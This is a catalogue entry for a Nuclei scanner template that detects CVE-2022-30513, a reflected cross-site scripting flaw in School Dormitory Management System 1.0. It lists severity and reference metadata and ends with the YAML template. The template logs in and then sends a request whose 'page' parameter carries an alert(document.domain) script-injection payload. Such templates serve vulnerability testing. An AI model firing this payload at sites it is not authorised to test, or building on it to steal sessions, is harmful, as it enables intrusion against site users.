CVE-2022-30513: School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting
- Template: CVE-2022-30513
- Name: School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting
- Description: School Dormitory Management System 1.0 contains an authenticated cross-site scripting vulnerability via admin/inc/navigation.php:125. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
- Impact: Successful exploitation of this vulnerability could allow an authenticated attacker to inject malicious scripts into the application, potentially leading to session hijacking, defacement, or theft of sensitive information.
- Remediation: Upgrade to the latest version to mitigate this vulnerability.
- Severity: medium
- Authors: tess
- Tags: cve2022, cve, xss, authenticated, school_dormitory_management_system_project, vuln
- References: https://github.com/bigzooooz/CVE-2022-30513, https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html, https://nvd.nist.gov/vuln/detail/CVE-2022-30513, https://github.com/nomi-sec/PoC-in-GitHub, https://github.com/trhacknon/Pocingit
- Cves: CVE-2022-30513
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-30513.yaml
- Digest: 4a0a0047304502207f3e1ccac0dd470469cafd37a6dfb37bbe21e502beb606728256f30521fdbbe4022100b4138ff948410f3b6ade2ed5586c53c49a0c08910a78b85be36c45a0a7206564
- Created at: 2022-10-05T20:16:54Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1511
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-30513.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.03635
- Epss percentile: 0.89836
- Cpe: cpe:2.3:a:school_dormitory_management_system_project:school_dormitory_management_system:1.0:*:*:*:*:*:*:*
Metadata
- Max-request: 2
- Product: school_dormitory_management_system
- Vendor: school_dormitory_management_system_project
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| school_dormitory_management_system_project:school_dormitory_management_system | yes | /v1/products/school_dormitory_management_system_project/school_dormitory_management_system |
Labels
- Name: School Dormitory Management System - Reflected XSS
- Impact: Attackers can steal cookies and perform malicious actions in the context of the affected site.
- Remediation: Implement proper input validation and output encoding, and update to the latest version if available.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec, information_disclosure
- Requirement type: user_interaction
- Requirements: Attacker needs the victim to visit a malicious link or page
- Labels source: projectdiscovery
- From cve: CVE-2022-30513
```yaml
id: CVE-2022-30513
info:
name: School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting
author: tess
severity: medium
description: |
School Dormitory Management System 1.0 contains an authenticated cross-site scripting vulnerability via admin/inc/navigation.php:125. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an authenticated attacker to inject malicious scripts into the application, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://github.com/bigzooooz/CVE-2022-30513
- https://nvd.nist.gov/vuln/detail/CVE-2022-30513
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/trhacknon/Pocingit
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-30513
cwe-id: CWE-79
epss-score: 0.03635
epss-percentile: 0.89836
cpe: cpe:2.3:a:school_dormitory_management_system_project:school_dormitory_management_system:1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: school_dormitory_management_system_project
product: school_dormitory_management_system
tags: cve2022,cve,xss,authenticated,school_dormitory_management_system_project,vuln
http:
- raw:
- |
POST /dms/admin/login.php?f=login HTTP/1.1
Host: {{Hostname}}
username={{username}}&password={{password}}
- |
GET /dms/admin/?page=%27%3B%20alert(document.domain)%3B%20s%3D%27 HTTP/1.1
Host: {{Hostname}}
redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "''; alert(document.domain); s='';"
- "School Dormitory Management System"
condition: and
- type: status
status:
- 200
digest: 4a0a0047304502207f3e1ccac0dd470469cafd37a6dfb37bbe21e502beb606728256f30521fdbbe4022100b4138ff948410f3b6ade2ed5586c53c49a0c08910a78b85be36c45a0a7206564:922c64590222798bb761d5b6d8e72950
```